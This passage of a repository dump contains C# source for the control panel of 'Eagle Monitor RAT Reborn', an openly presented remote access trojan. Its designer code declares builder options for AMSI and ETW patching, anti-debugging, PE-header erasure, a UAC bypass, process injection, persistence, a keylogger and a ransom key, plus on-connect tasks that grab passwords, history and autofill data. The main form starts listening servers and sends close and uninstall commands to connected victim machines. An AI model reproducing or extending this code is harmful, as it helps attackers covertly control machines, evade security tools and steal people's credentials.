((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right)));\n            this.tasksGuna2ComboBox.Animated = true;\n            this.tasksGuna2ComboBox.AutoRoundedCorners = true;\n            this.tasksGuna2ComboBox.BackColor = System.Drawing.Color.White;\n            this.tasksGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.tasksGuna2ComboBox.BorderRadius = 17;\n            this.tasksGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed;\n            this.tasksGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;\n            this.tasksGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.tasksGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.tasksGuna2ComboBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.tasksGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.tasksGuna2ComboBox.ItemHeight = 30;\n            this.tasksGuna2ComboBox.Items.AddRange(new object[] {\n            \"Passwords\",\n            \"History\",\n            \"Autofill\"});\n            this.tasksGuna2ComboBox.Location = new System.Drawing.Point(3, 86);\n            this.tasksGuna2ComboBox.Name = \"tasksGuna2ComboBox\";\n            this.tasksGuna2ComboBox.Size = new System.Drawing.Size(733, 36);\n            this.tasksGuna2ComboBox.TabIndex = 67;\n            // \n            // closeGuna2ControlBox\n            // \n            this.closeGuna2ControlBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));\n            this.closeGuna2ControlBox.CustomClick = true;\n            this.closeGuna2ControlBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.closeGuna2ControlBox.IconColor = System.Drawing.Color.White;\n            this.closeGuna2ControlBox.Location = new System.Drawing.Point(1059, 1);\n            this.closeGuna2ControlBox.Name = \"closeGuna2ControlBox\";\n            this.closeGuna2ControlBox.Size = new System.Drawing.Size(45, 29);\n            this.closeGuna2ControlBox.TabIndex = 2;\n            this.closeGuna2ControlBox.Click += new System.EventHandler(this.closeGuna2ControlBox_Click);\n            // \n            // maximizeGuna2ControlBox\n            // \n            this.maximizeGuna2ControlBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));\n            this.maximizeGuna2ControlBox.ControlBoxType = Guna.UI2.WinForms.Enums.ControlBoxType.MaximizeBox;\n            this.maximizeGuna2ControlBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.maximizeGuna2ControlBox.IconColor = System.Drawing.Color.White;\n            this.maximizeGuna2ControlBox.Location = new System.Drawing.Point(1012, 1);\n            this.maximizeGuna2ControlBox.Name = \"maximizeGuna2ControlBox\";\n            this.maximizeGuna2ControlBox.Size = new System.Drawing.Size(45, 29);\n            this.maximizeGuna2ControlBox.TabIndex = 3;\n            // \n            // minimizeGuna2ControlBox\n            // \n            this.minimizeGuna2ControlBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));\n            this.minimizeGuna2ControlBox.ControlBoxType = Guna.UI2.WinForms.Enums.ControlBoxType.MinimizeBox;\n            this.minimizeGuna2ControlBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.minimizeGuna2ControlBox.IconColor = System.Drawing.Color.White;\n            this.minimizeGuna2ControlBox.Location = new System.Drawing.Point(965, 1);\n            this.minimizeGuna2ControlBox.Name = \"minimizeGuna2ControlBox\";\n            this.minimizeGuna2ControlBox.Size = new System.Drawing.Size(45, 29);\n            this.minimizeGuna2ControlBox.TabIndex = 4;\n            // \n            // panel1\n            // \n            this.panel1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.panel1.Controls.Add(this.guna2Panel5);\n            this.panel1.Dock = System.Windows.Forms.DockStyle.Bottom;\n            this.panel1.Location = new System.Drawing.Point(2, 472);\n            this.panel1.Name = \"panel1\";\n            this.panel1.Padding = new System.Windows.Forms.Padding(0, 2, 0, 0);\n            this.panel1.Size = new System.Drawing.Size(1102, 50);\n            this.panel1.TabIndex = 6;\n            // \n            // guna2Panel5\n            // \n            this.guna2Panel5.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.guna2Panel5.BackColor = System.Drawing.Color.White;\n            this.guna2Panel5.Controls.Add(this.totalClientLabel);\n            this.guna2Panel5.Controls.Add(this.githubPictureBox);\n            this.guna2Panel5.Controls.Add(this.portLabel);\n            this.guna2Panel5.Location = new System.Drawing.Point(0, 2);\n            this.guna2Panel5.Name = \"guna2Panel5\";\n            this.guna2Panel5.Size = new System.Drawing.Size(1102, 48);\n            this.guna2Panel5.TabIndex = 3;\n            // \n            // githubPictureBox\n            // \n            this.githubPictureBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));\n            this.githubPictureBox.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.github_2x;\n            this.githubPictureBox.Location = new System.Drawing.Point(1057, 6);\n            this.githubPictureBox.Name = \"githubPictureBox\";\n            this.githubPictureBox.Size = new System.Drawing.Size(36, 36);\n            this.githubPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;\n            this.githubPictureBox.TabIndex = 9;\n            this.githubPictureBox.TabStop = false;\n            this.githubPictureBox.MouseClick += new System.Windows.Forms.MouseEventHandler(this.githubPictureBox_MouseClick);\n            this.githubPictureBox.MouseDown += new System.Windows.Forms.MouseEventHandler(this.githubPictureBox_MouseDown);\n            this.githubPictureBox.MouseLeave += new System.EventHandler(this.githubPictureBox_MouseLeave);\n            this.githubPictureBox.MouseHover += new System.EventHandler(this.githubPictureBox_MouseHover);\n            this.githubPictureBox.MouseUp += new System.Windows.Forms.MouseEventHandler(this.githubPictureBox_MouseUp);\n            // \n            // portLabel\n            // \n            this.portLabel.AutoSize = true;\n            this.portLabel.BackColor = System.Drawing.Color.Transparent;\n            this.portLabel.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80)))));\n            this.portLabel.Location = new System.Drawing.Point(3, 6);\n            this.portLabel.Name = \"portLabel\";\n            this.portLabel.Size = new System.Drawing.Size(16, 13);\n            this.portLabel.TabIndex = 8;\n            this.portLabel.Text = \"...\";\n            this.portLabel.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // versionLabel\n            // \n            this.versionLabel.AutoSize = true;\n            this.versionLabel.BackColor = System.Drawing.Color.Transparent;\n            this.versionLabel.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80)))));\n            this.versionLabel.Location = new System.Drawing.Point(42, 9);\n            this.versionLabel.Name = \"versionLabel\";\n            this.versionLabel.Size = new System.Drawing.Size(16, 13);\n            this.versionLabel.TabIndex = 7;\n            this.versionLabel.Text = \"...\";\n            this.versionLabel.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            this.versionLabel.MouseDown += new System.Windows.Forms.MouseEventHandler(this.versionLabel_MouseDown);\n            // \n            // logoPictureBox\n            // \n            this.logoPictureBox.BackColor = System.Drawing.Color.Transparent;\n            this.logoPictureBox.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.eagle2;\n            this.logoPictureBox.Location = new System.Drawing.Point(4, 1);\n            this.logoPictureBox.Name = \"logoPictureBox\";\n            this.logoPictureBox.Size = new System.Drawing.Size(32, 28);\n            this.logoPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;\n            this.logoPictureBox.TabIndex = 5;\n            this.logoPictureBox.TabStop = false;\n            this.logoPictureBox.MouseDown += new System.Windows.Forms.MouseEventHandler(this.logoPictureBox_MouseDown);\n            // \n            // totalClientLabel\n            // \n            this.totalClientLabel.AutoSize = true;\n            this.totalClientLabel.BackColor = System.Drawing.Color.Transparent;\n            this.totalClientLabel.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80)))));\n            this.totalClientLabel.Location = new System.Drawing.Point(3, 29);\n            this.totalClientLabel.Name = \"totalClientLabel\";\n            this.totalClientLabel.Size = new System.Drawing.Size(16, 13);\n            this.totalClientLabel.TabIndex = 10;\n            this.totalClientLabel.Text = \"...\";\n            this.totalClientLabel.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // MainForm\n            // \n            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);\n            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;\n            this.BackColor = System.Drawing.Color.White;\n            this.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.BordersSize = 2;\n            this.ClientSize = new System.Drawing.Size(1106, 524);\n            this.Controls.Add(this.versionLabel);\n            this.Controls.Add(this.mainGuna2TabControl);\n            this.Controls.Add(this.panel1);\n            this.Controls.Add(this.logoPictureBox);\n            this.Controls.Add(this.minimizeGuna2ControlBox);\n            this.Controls.Add(this.maximizeGuna2ControlBox);\n            this.Controls.Add(this.closeGuna2ControlBox);\n            this.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.Icon = ((System.Drawing.Icon)(resources.GetObject(\"$this.Icon\")));\n            this.Name = \"MainForm\";\n            this.Padding = new System.Windows.Forms.Padding(2, 32, 2, 2);\n            this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;\n            this.Text = \"Eagle Monitor RAT Reborn\";\n            this.TopBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.Load += new System.EventHandler(this.MainForm_Load);\n            this.Shown += new System.EventHandler(this.MainForm_Shown);\n            this.MouseLeave += new System.EventHandler(this.MainForm_MouseLeave);\n            this.mainGuna2TabControl.ResumeLayout(false);\n            this.tabPage1.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.clientDataGridView)).EndInit();\n            this.mainContextMenuStrip.ResumeLayout(false);\n            this.clientContextMenuStrip.ResumeLayout(false);\n            this.tabPage2.ResumeLayout(false);\n            this.guna2Panel1.ResumeLayout(false);\n            this.builderGuna2TabControl.ResumeLayout(false);\n            this.tabPage6.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.hostsDataGridView)).EndInit();\n            this.hostContextMenuStrip.ResumeLayout(false);\n            this.tabPage7.ResumeLayout(false);\n            this.tabPage7.PerformLayout();\n            this.tabPage8.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();\n            this.tabPage13.ResumeLayout(false);\n            this.tabPage13.PerformLayout();\n            this.guna2GroupBox3.ResumeLayout(false);\n            this.guna2GroupBox3.PerformLayout();\n            this.tabPage9.ResumeLayout(false);\n            this.tabPage9.PerformLayout();\n            this.tabPage3.ResumeLayout(false);\n            this.guna2Panel2.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.logsDataGridView)).EndInit();\n            this.tabPage4.ResumeLayout(false);\n            this.guna2Panel3.ResumeLayout(false);\n            this.tabPage5.ResumeLayout(false);\n            this.guna2Panel4.ResumeLayout(false);\n            this.guna2Panel4.PerformLayout();\n            this.guna2GroupBox1.ResumeLayout(false);\n            this.portContextMenuStrip.ResumeLayout(false);\n            this.tabPage10.ResumeLayout(false);\n            this.onConnectGuna2TabControl.ResumeLayout(false);\n            this.tabPage11.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.tasksDataGridView)).EndInit();\n            this.tabPage12.ResumeLayout(false);\n            this.panel1.ResumeLayout(false);\n            this.guna2Panel5.ResumeLayout(false);\n            this.guna2Panel5.PerformLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.githubPictureBox)).EndInit();\n            ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).EndInit();\n            this.ResumeLayout(false);\n            this.PerformLayout();\n\n        }\n\n        #endregion\n\n        private Guna.UI2.WinForms.Guna2TabControl mainGuna2TabControl;\n        private System.Windows.Forms.TabPage tabPage1;\n        private System.Windows.Forms.TabPage tabPage2;\n        private Guna.UI2.WinForms.Guna2ControlBox closeGuna2ControlBox;\n        private Guna.UI2.WinForms.Guna2ControlBox maximizeGuna2ControlBox;\n        private Guna.UI2.WinForms.Guna2ControlBox minimizeGuna2ControlBox;\n        public System.Windows.Forms.DataGridView clientDataGridView;\n        private System.Windows.Forms.DataGridViewImageColumn Column1;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column2;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column3;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column4;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column5;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column6;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column7;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column8;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column9;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column10;\n        private System.Windows.Forms.PictureBox logoPictureBox;\n        private Guna.UI2.WinForms.Guna2Panel guna2Panel1;\n        private System.Windows.Forms.TabPage tabPage3;\n        private Guna.UI2.WinForms.Guna2Panel guna2Panel2;\n        private System.Windows.Forms.TabPage tabPage4;\n        private Guna.UI2.WinForms.Guna2Panel guna2Panel3;\n        private System.Windows.Forms.TabPage tabPage5;\n        private Guna.UI2.WinForms.Guna2Panel guna2Panel4;\n        private System.Windows.Forms.Panel panel1;\n        private Guna.UI2.WinForms.Guna2Panel guna2Panel5;\n        private System.Windows.Forms.Label versionLabel;\n        private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar1;\n        private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar2;\n        public System.Windows.Forms.DataGridView logsDataGridView;\n        private System.Windows.Forms.Label label1;\n        private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox1;\n        private System.Windows.Forms.ColumnHeader columnHeader1;\n        internal Guna.UI2.WinForms.Guna2TextBox keyGuna2TextBox;\n        internal Guna.UI2.WinForms.Guna2CheckBox notificationSoundGuna2CheckBox;\n        internal Guna.UI2.WinForms.Guna2ComboBox flagsPackGuna2ComboBox;\n        internal System.Windows.Forms.ListView portListView;\n        private Controls.CustomContextMenuStrip mainContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem loginToolStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem clientToolStripMenuItem;\n        private Controls.CustomContextMenuStrip clientContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem closeToolStripMenuItem;\n        private System.Windows.Forms.PictureBox githubPictureBox;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column11;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column12;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column13;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column17;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column14;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column15;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column16;\n        internal Guna.UI2.WinForms.Guna2CheckBox autoSaveRecoveryGuna2CheckBox;\n        private System.Windows.Forms.RichTextBox updateLogRichTextBox;\n        private Guna.UI2.WinForms.Guna2TabControl builderGuna2TabControl;\n        private System.Windows.Forms.TabPage tabPage6;\n        private System.Windows.Forms.TabPage tabPage7;\n        private System.Windows.Forms.TabPage tabPage8;\n        private System.Windows.Forms.TabPage tabPage9;\n        private System.Windows.Forms.Label label5;\n        private Guna.UI2.WinForms.Guna2CheckBox vbStubGuna2CheckBox;\n        private System.Windows.Forms.Label label13;\n        private System.Windows.Forms.Label label12;\n        private System.Windows.Forms.Label label11;\n        private System.Windows.Forms.Label label10;\n        private System.Windows.Forms.Label label9;\n        private System.Windows.Forms.Label label8;\n        private System.Windows.Forms.Label label7;\n        private System.Windows.Forms.Label label14;\n        private System.Windows.Forms.Label label16;\n        private System.Windows.Forms.PictureBox pictureBox1;\n        private System.Windows.Forms.Label label15;\n        private Guna.UI2.WinForms.Guna2CheckBox tosLicenseGuna2CheckBox;\n        private Guna.UI2.WinForms.Guna2Button buildGuna2Button;\n        private Guna.UI2.WinForms.Guna2Button iconGuna2Button;\n        private System.Windows.Forms.Label label17;\n        internal Guna.UI2.WinForms.Guna2ComboBox processInjectionGuna2ComboBox;\n        internal Guna.UI2.WinForms.Guna2CheckBox autoRemoveDownloadGuna2CheckBox;\n        private System.Windows.Forms.Label label18;\n        internal Guna.UI2.WinForms.Guna2ComboBox bufferSizeGuna2ComboBox;\n        internal Guna.UI2.WinForms.Guna2TextBox builderKeyGuna2TextBox;\n        private System.Windows.Forms.Label label19;\n        internal Guna.UI2.WinForms.Guna2ComboBox pathPersistenceGuna2ComboBox;\n        private System.Windows.Forms.ToolStripMenuItem test123ToolStripMenuItem;\n        internal Guna.UI2.WinForms.Guna2CheckBox ransomKeyGuna2CheckBox;\n        internal Guna.UI2.WinForms.Guna2CheckBox notificationIconGuna2CheckBox;\n        private System.Windows.Forms.ToolStripMenuItem test456ToolStripMenuItem;\n        private System.Windows.Forms.TabPage tabPage10;\n        private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar3;\n        public System.Windows.Forms.DataGridView tasksDataGridView;\n        private Guna.UI2.WinForms.Guna2TabControl onConnectGuna2TabControl;\n        private System.Windows.Forms.TabPage tabPage11;\n        private System.Windows.Forms.TabPage tabPage12;\n        private Guna.UI2.WinForms.Guna2Button addTaskGuna2Button;\n        internal Guna.UI2.WinForms.Guna2ComboBox tasksGuna2ComboBox;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column20;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column21;\n        private System.Windows.Forms.ToolStripMenuItem aboutToolStripMenuItem;\n        private System.Windows.Forms.ToolTip patchToolTip;\n        internal Guna.UI2.WinForms.Guna2ComboBox persistenceMethodGuna2ComboBox;\n        private System.Windows.Forms.Label label20;\n        private System.Windows.Forms.TabPage tabPage13;\n        private System.Windows.Forms.Label label4;\n        private Guna.UI2.WinForms.Guna2Button randomizeGuna2Button;\n        public System.Windows.Forms.DataGridView hostsDataGridView;\n        internal Guna.UI2.WinForms.Guna2TextBox buildLogsGuna2TextBox;\n        internal Guna.UI2.WinForms.Guna2ComboBox archiGuna2ComboBox;\n        private System.Windows.Forms.Label label21;\n        private System.Windows.Forms.Label label2;\n        private Guna.UI2.WinForms.Guna2TextBox portGuna2TextBox;\n        private System.Windows.Forms.Label label3;\n        private Guna.UI2.WinForms.Guna2TextBox dnsGuna2TextBox;\n        private Guna.UI2.WinForms.Guna2Button addHostGuna2Button;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column22;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column23;\n        internal Guna.UI2.WinForms.Guna2TextBox productGuna2TextBox;\n        internal Guna.UI2.WinForms.Guna2TextBox productVersionGuna2TextBox;\n        internal Guna.UI2.WinForms.Guna2TextBox filenameGuna2TextBox;\n        internal Guna.UI2.WinForms.Guna2TextBox fileVersionGuna2TextBox;\n        internal Guna.UI2.WinForms.Guna2TextBox copyrightGuna2TextBox;\n        internal Guna.UI2.WinForms.Guna2TextBox companyGuna2TextBox;\n        internal Guna.UI2.WinForms.Guna2TextBox descriptionGuna2TextBox;\n        internal Guna.UI2.WinForms.Guna2TextBox trademarksGuna2TextBox;\n        internal Guna.UI2.WinForms.Guna2CheckBox persistenceGuna2CheckBox;\n        internal Guna.UI2.WinForms.Guna2CheckBox offKeyloguna2CheckBox;\n        private System.Windows.Forms.ToolStripMenuItem closeUninstallToolStripMenuItem;\n        private System.Windows.Forms.Label label22;\n        private Controls.CustomContextMenuStrip hostContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem removeHostStripMenuItem;\n        private Controls.CustomContextMenuStrip portContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem portRemoveStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem addToolStripMenuItem;\n        private System.Windows.Forms.Label label23;\n        public Guna.UI2.WinForms.Guna2CheckBox patchETWGuna2CheckBox;\n        public Guna.UI2.WinForms.Guna2CheckBox patchAMSIGuna2CheckBox;\n        private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox3;\n        public Guna.UI2.WinForms.Guna2CheckBox erasePEHeadersGuna2CheckBox;\n        public Guna.UI2.WinForms.Guna2CheckBox antiDebugGuna2CheckBox;\n        public Guna.UI2.WinForms.Guna2CheckBox bypassICMLuaUtilGuna2CheckBox;\n        public System.Windows.Forms.Label totalClientLabel;\n        public System.Windows.Forms.Label portLabel;\n    }\n}\n\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Controls;\nusing Eagle_Monitor_RAT_Reborn.Misc;\nusing Eagle_Monitor_RAT_Reborn.Network;\nusing Leaf.xNet;\nusing Newtonsoft.Json;\nusing PacketLib.Packet;\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.Drawing;\nusing System.IO;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn\n{\n    public partial class MainForm : FormPattern\n    {\n        public MainForm()\n        {\n            InitializeComponent();\n        }\n\n        private void MainForm_Load(object sender, EventArgs e)\n        {\n            this.SuspendLayout();\n            this.clientDataGridView.EnableHeadersVisualStyles = false;\n            this.clientDataGridView.ClearSelection();\n\n            this.logsDataGridView.EnableHeadersVisualStyles = false;\n            this.logsDataGridView.ClearSelection();\n\n            this.hostsDataGridView.EnableHeadersVisualStyles = false;\n            this.hostsDataGridView.ClearSelection();\n\n            Directory.CreateDirectory(\"Logs\");\n            Directory.CreateDirectory(\"Clients\");\n\n            new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.clientDataGridView, this.guna2VScrollBar1, true);\n            new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.logsDataGridView, this.guna2VScrollBar2, true);\n            this.Text = $\"[Beta] EM-RAT Reborn V{Misc.Utils.CoreAssembly.Version} By Arsium - [Nullum crimen sine lege]\";\n            this.versionLabel.Text = this.Text;\n            Eagle_Monitor_RAT_Reborn.Controls.Utils.SetTotalClients();\n\n            Eagle_Monitor_RAT_Reborn.Controls.Utils.SetTabImage(this.mainGuna2TabControl, new Icon[]\n            {\n                Properties.Resources.icons8_user,\n                Properties.Resources.icons8_wrench,\n                Properties.Resources.icons8_mail,\n                Properties.Resources.icons8_index,\n                Properties.Resources.icons8_settings,\n                Properties.Resources.icons8_schedule_mail\n            });\n\n            Eagle_Monitor_RAT_Reborn.Controls.Utils.SetTabImage(this.onConnectGuna2TabControl, new Icon[]\n            {\n                Properties.Resources.icons8_todo_list,\n                Properties.Resources.icons8_create\n            });\n\n            Eagle_Monitor_RAT_Reborn.Controls.Utils.SetTabImage(this.builderGuna2TabControl, new Icon[]\n            {\n                Properties.Resources.icons8_signal,\n                Properties.Resources.icons8_categorize,\n                Properties.Resources.icons8_new_property,\n                Properties.Resources.icons8_remote_desktop,\n                Properties.Resources.icons8_advanced_search,\n                Properties.Resources.icons8_Tools\n            });\n            this.ResumeLayout();\n        }\n\n        private void MainForm_Shown(object sender, EventArgs e)\n        {\n            Misc.Utils.ReadSettings();\n            Misc.Utils.StartServers();\n            this.portLabel.Text = \"Listening on : { \";\n            foreach (int p in Program.settings.ports)\n            {\n                this.portLabel.Text += p.ToString() + \", \";\n            }\n            this.portLabel.Text = this.portLabel.Text.Remove(this.portLabel.Text.Length - 2, 2);\n            this.portLabel.Text += \" }\";\n\n            try\n            {\n                using (HttpRequest httpRequest = new HttpRequest())\n                {\n                    httpRequest.IgnoreProtocolErrors = true;\n                    httpRequest.UserAgent = Http.ChromeUserAgent();\n                    httpRequest.ConnectTimeout = 5000;\n                    string request = httpRequest.Get(\"https://api.github.com/repos/arsium/EagleMonitorRAT/releases\").ToString();\n\n                    List<GitHubAPI> json = JsonConvert.DeserializeObject<List<GitHubAPI>>(request);\n                    foreach (GitHubAPI gitHubAPI in json)\n                    {\n                        this.updateLogRichTextBox.SelectionColor = Color.FromArgb(197, 66, 245);\n                        this.updateLogRichTextBox.AppendText(\"Version : \" + gitHubAPI.tag_name + \"\\n\\n\");\n\n                        this.updateLogRichTextBox.SelectionColor = Color.FromArgb(66, 182, 245);\n                        this.updateLogRichTextBox.AppendText(gitHubAPI.body.Replace(\"*\", \"•\") + \"\\n\\n\\n\");\n                    }\n\n                    int gitHubVersion = int.Parse(json[0].tag_name.Replace(\".\", \"\"));\n                    int localVersion = int.Parse(Misc.Utils.CoreAssembly.Version.ToString().Replace(\".\", \"\"));\n\n                    if (gitHubVersion > localVersion)\n                        MessageBox.Show(this, $\"A new update is available {json[0].tag_name} !\", Misc.Utils.CoreAssembly.Name, MessageBoxButtons.OK, MessageBoxIcon.Information);\n                    else if (gitHubVersion < localVersion)\n                        MessageBox.Show(\"You use an unknown version of Eagle Monitor RAT Reborn !\", Misc.Utils.CoreAssembly.Name, MessageBoxButtons.OK, MessageBoxIcon.Information);                 \n                }\n            }\n            catch (Exception ex)\n            {\n                this.updateLogRichTextBox.SelectionColor = Color.Red;\n                this.updateLogRichTextBox.AppendText(ex.ToString());\n            }\n        }\n\n        private void closeGuna2ControlBox_Click(object sender, EventArgs e)\n        {\n            Misc.Utils.SaveSettings();\n            if(this.logsDataGridView.Rows.Count > 0)\n                Misc.Utils.SaveLogs(this.logsDataGridView);\n            Imports.NtTerminateProcess((IntPtr)(-1), 0);\n        }\n\n        private void logoPictureBox_MouseDown(object sender, System.Windows.Forms.MouseEventArgs e)\n        {\n            Eagle_Monitor_RAT_Reborn.Controls.Utils.MoveForm(this);\n        }\n\n        private void versionLabel_MouseDown(object sender, System.Windows.Forms.MouseEventArgs e)\n        {\n            Eagle_Monitor_RAT_Reborn.Controls.Utils.MoveForm(this);\n        }\n\n        //https://stackoverflow.com/questions/4314673/how-to-deselect-all-selected-rows-in-a-datagridview-control\n        private void dataGridView1_MouseUp(object sender, MouseEventArgs e)\n        {\n            if (e.Button == MouseButtons.Left)\n            {\n                DataGridView.HitTestInfo hit = clientDataGridView.HitTest(e.X, e.Y);\n                if (hit.Type == DataGridViewHitTestType.None)\n                {\n                    clientDataGridView.ClearSelection();\n                    clientDataGridView.CurrentCell = null;\n                }\n            }\n        }\n\n        private void hostsDataGridView_MouseUp(object sender, MouseEventArgs e)\n        {\n            if (e.Button == MouseButtons.Left)\n            {\n                DataGridView.HitTestInfo hit = hostsDataGridView.HitTest(e.X, e.Y);\n                if (hit.Type == DataGridViewHitTestType.None)\n                {\n                    hostsDataGridView.ClearSelection();\n                    hostsDataGridView.CurrentCell = null;\n                }\n            }\n        }\n\n        private void MainForm_MouseLeave(object sender, EventArgs e)\n        {\n            clientDataGridView.ClearSelection();\n            clientDataGridView.CurrentCell = null;\n\n            hostsDataGridView.ClearSelection();\n            hostsDataGridView.CurrentCell = null;\n        }\n\n        private void githubPictureBox_MouseClick(object sender, MouseEventArgs e)\n        {\n            Process.Start(\"https://github.com/arsium\");\n        }\n\n        private void githubPictureBox_MouseDown(object sender, MouseEventArgs e)\n        {\n            githubPictureBox.BackColor = Color.FromArgb(215, 215, 215);\n        }\n\n        private void githubPictureBox_MouseHover(object sender, EventArgs e)\n        {\n            githubPictureBox.BackColor = Color.FromArgb(240, 240, 240);\n        }\n\n        private void githubPictureBox_MouseUp(object sender, MouseEventArgs e)\n        {\n            githubPictureBox.BackColor = Color.White;\n        }\n\n        private void githubPictureBox_MouseLeave(object sender, EventArgs e)\n        {\n            githubPictureBox.BackColor = Color.White;\n        }\n\n        private void loginToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            foreach (DataGridViewRow row in clientDataGridView.SelectedRows)\n            {\n                string IP = row.Cells[2].Value.ToString();\n                Eagle_Monitor_RAT_Reborn.Controls.Utils.InitiateForm(ClientHandler.ClientHandlersList[IP]);\n            }\n        }\n\n        private void closeToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            ClosePacket closePacket = new ClosePacket();\n            foreach (DataGridViewRow row in clientDataGridView.SelectedRows)\n            {\n                string IP = row.Cells[2].Value.ToString();\n                ClientHandler.StartSendData(ClientHandler.ClientHandlersList[IP], closePacket);\n            }\n        }\n\n        private void closeUninstallToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            UninstallPacket uninstallPacket = new UninstallPacket();\n            foreach (DataGridViewRow row in clientDataGridView.SelectedRows)\n            {\n                string IP = row.Cells[2].Value.ToString();\n                